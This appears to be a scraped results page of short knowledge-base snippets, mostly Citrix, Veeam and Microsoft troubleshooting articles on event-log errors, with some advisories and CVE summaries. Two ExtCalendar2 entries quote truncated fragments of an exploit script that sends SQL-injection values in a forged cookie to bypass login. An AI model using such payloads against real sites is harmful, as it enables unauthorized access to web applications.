Citrix Director: Could Not Establish Trust Relationship for the SSL/TLS Secure Channel

Director display in License Server section Cannot retrieve the data. Data source unresponsive due to configuration error. View Director server event logs for further information Checking the Application event log on the server running Director- logs event error: Event ID: 8 Level: Error Source:...

April 11, 2017—KB4015547 (Security-only update)

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Director Error "Cannot retrieve data. Data source unresponsive or reported an error".

The following error is seen in the event viewer of the Director server: Log Name: Application Source: Citrix Director Service Date: 1/20/2017 11:05:33 AM Event ID: 5 Task Category: None Level: Error Keywords: Classic User: N/A Computer: CtxDirector.RepLab.Local Description: The description for...

Application Launch Fails Intermittently With Event ID 7

User launches published desktop via Storefront and can see the DesktopViewer. Desktop Viewer closes after a few seconds and logs the following error in the EventLog: Event ID: 1050 Citrix Desktop service connection validation failed on domain "for user" for reason "Deny" followed by Event ID7: "I...

Description of the cumulative update for Office Communications Server 2007 R2, Core Components: January 2010

Describes the issues that are fixed in the Office Communications Server 2007 R2, Core Components cumulative update that is dated January 2010.SummaryThis article describes the Microsoft Office Communications Server 2007 R2, Core Components issues that are fixed in the cumulative update for...

Storefront - generating event viewer warning - " The Receiver for Windows package file could not be found at the path"

This article is intended for Citrix administrators and technical teams only. Non-admin users must contact their company’s Help Desk/IT support team and can refer to CTX297149 for more information. Event viewer on storefront server is generating warning event ID 4 " The Receiver for Windows packag...

The following error occurred during an authentication attempt for user:domain.com\abc with realm: <unknown>

Getting error "Cannot complete your request" when accessing the website through Netscaler Gateway. Bypassing the Netscaler Gateway website works fine. Event ID:2 "The following error occurred during an authentication attempt for user:domain.com\abc with realm: "...

Unable to Propagate Changes After Upgrade from StoreFront 3.5 to 3.6

Unable to propagate changes after upgrade from StoreFront 3.5 to 3.6. Log Name: Citrix Delivery Services Source: Citrix Configuration Replication Service Date: 6/27/2016 9:39:26 AM Event ID: 19 Task Category: 2801 Level: Error Keywords: Classic User: N/A Computer: XXXXX.XXXXX.XXXXX Description:...

Error: "Cannot Start App. Please contact your help desk." When Launching App Through Receiver

This article is intended for Citrix administrators and technical teams only. Non-admin users must contact their company's Help Desk/IT support team and can refer to CTX297149 for more information. The following error is displayed when launching app through Receiver: Cannot Start App. Please conta...

Threat Outbreak Alert RuleID20747: Email Messages Distributing Malicious Software on January 28, 2016

Medium Alert ID: 43254 First Published: 2016 January 28 14:37 GMT Version: 1 Summary Cisco Security has detected significant activity related to spam email messages distributing malicious software. Email messages that are related to this threat RuleID20747 may contain the following files: Name |...

Microsoft security advisory: Update to improve Windows command-line auditing: February 10, 2015

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Job Fails to Start Due to Timeout Caused by Desktop Heap Allocation Failure

Article Applicability The timeout error displayed in Veeam Backup & Replication can be caused by various factors. This article explicitly addresses a scenario where the Windows OS experiences a 'heap allocation' failure. Please note that the solution provided in this article is only applicable if...

Hyper-V Guest processing skipped (check guest OS VSS state and integration components version)

Challenge Guest VMs will fail to engage VSS when Application-Aware Processing is enabled, generating the error: Error Guest processing skipped check guest OS VSS state and integration components version System.Exception Solution Most Common Solution At the time this article was written in 2014,...

Description of the cumulative update for Lync Server 2010: July 2011

Describes the bug that is resolved in the July, 2011 cumulative update package for Lync Server 2010.SummaryThis article describes the cumulative update for Microsoft Lync Server 2010 that is dated July, 2011. INTRODUCTIONIssues that this update package fixesThis cumulative update fixes the...

Event ID 10378 in the Operations Manager Event Log on Collector

Challenge Operations Manager Event Log on the Collector server contains the following warning: ID 10378 Module was unable to convert WMI setting .\timestamp Event IDs 1103 and 4506 may also be observed. Cause The root cause is currently investigated by Microsoft. This article will be updated afte...

ExtCalendar2 SQL Injection / Authentcation Bypass

ext20username pregmatchall'extcalcookieid = "."', DzCURL$target,0,0 , $prf; $prefix = $prf10; header .. $header = "Cookie: ".$prefix."username=admin ' or '1'= '1; ".$prefix."password=admin ' or '1'= '1;"; check if it's work by looking for logout echo eregi"logout", DzCURL$target,0,$header ? " Log...

ExtCalendar2 - Cookie Authentication Bypass Backdoor Upload

ExtCalendar2 - Cookie Authentication Bypass Backdoor Upload ext20username pregmatchall'extcalcookieid = "."', DzCURL$target,0,0 , $prf; $prefix = $prf10; header .. $header = "Cookie: ".$prefix."username=admin ' or '1'= '1; ".$prefix."password=admin ' or '1'= '1;"; check if it's work by looking fo...

MS11-056: Vulnerabilities in Windows CSRSS could allow elevation of privilege: July 12, 2011

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CVE-2006-3052

Cross-site scripting XSS vulnerability in Event Registration allows remote attackers to inject arbitrary web script or HTML via the 1 eventid parameter to view-event-details.php or 2 selectevents parameter to event-registration.php. NOTE: the provenance of this information is unknown; the details...

CVE-2005-3171

Microsoft Windows 2000 before Update Rollup 1 for SP4 records Event ID 1704 to indicate that Group Policy security settings were successfully updated, even when the processing fails such as when Ntuser.pol cannot be accessed, which could cause system administrators to believe that the system is...